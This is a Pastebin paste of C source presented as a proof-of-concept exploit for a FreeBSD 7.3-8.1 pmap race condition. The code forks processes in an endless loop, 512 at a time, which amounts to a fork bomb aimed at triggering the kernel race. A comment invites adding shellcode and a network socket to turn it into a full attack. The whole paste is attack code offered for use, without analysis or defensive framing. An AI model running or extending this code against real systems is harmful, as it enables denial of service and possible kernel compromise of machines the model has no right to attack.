Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /*
- FreeBSD 7.3-8.1 pmap race condition PoC by dunno who but THX!
- // can add shellcode and connect socket w/AF_INET and this babys done!
- // <3 #HaqNET @ Efnet -xd
- */
- #include <stdio.h>
- #include <sys/types.h>
- #include <unistd.h>
- void newproc() {
- again:
- fork();
- sleep(3600*24);
- goto again;
- }
- void runfork() {
- pid_t adr;
- if(0!=(adr=fork())) printf("fork not zero\n");
- else {
- printf("fork zero\n");
- newproc();
- }
- }
- int main() {
- int secdel=5;
- int dev;
- while(1) {
- printf("sleep %i sec\n",secdel);
- sleep(secdel);
- printf("weak up\n");
- dev=512;
- while(dev--)
- runfork();
- }
- return 0;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement